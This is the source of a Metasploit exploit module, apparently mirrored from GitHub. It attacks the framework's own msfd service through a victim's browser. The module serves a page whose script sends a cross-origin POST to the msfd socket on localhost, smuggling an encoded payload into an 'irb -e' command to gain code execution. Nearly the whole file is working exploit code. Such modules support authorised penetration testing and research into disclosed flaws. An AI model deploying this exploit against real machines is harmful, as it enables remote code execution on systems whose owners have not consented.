modules/exploits/multi/browser/msfd_rce_browser.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/browser/msfd_rce_browser.rb
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cgranleese-r7
Update info -d markdown
24 июн 2025, 13:21
24 июн 2025, 13:21a454217
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Metasploit msfd Remote Code Execution via Browser',
        'Description' => %q{
          Metasploit's msfd-service makes it possible to get a msfconsole-like
          interface over a TCP socket. This module connects to the msfd-socket
          through the victim's browser.

          To execute msfconsole-commands in JavaScript from a web application,
          this module places the payload in the POST-data. These POST-requests
          can be sent cross-domain and can therefore be sent to localhost on the
          victim's machine. The msfconsole-command to execute code is 'rbi -e
          "CODE"'.

          Exploitation when the browser is running on Windows is unreliable and
          the exploit is only usable when IE is used and the quiet-flag has been
          passed to msf-daemon.
        },
        'License' => BSD_LICENSE,
        'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
        'Platform' => 'ruby',
        'Arch' => ARCH_RUBY,
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'Payload' => {
          'Space' => 8192, # Arbitrary limit
          'DisableNops' => true,
          'BadChars' => "\x22\x0a"
        },
        'DisclosureDate' => '2018-04-11', # Vendor notification
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),
      OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])
    ])
  end

  def exploit
    super
  end

  def on_request_uri(cli, request)
    msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
    sc = payload.encoded
    shellcode = "\\x" + sc.unpack('U' * sc.length).collect { |x| x.to_s 16 }.join("\\x")
    var1 = rand_text_alpha(rand(6..11))
    var2 = rand_text_alpha(rand(6..11))
    html = <<~EOS
      <html>
      <head></head>
      <body>
      <script>
      var #{var1} = new XMLHttpRequest();
      #{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
      var #{var2} = String("#{shellcode}");
      #{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
      </script>
      </body>
      </html>
    EOS
    print_status("#{msg} Sending HTML...")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end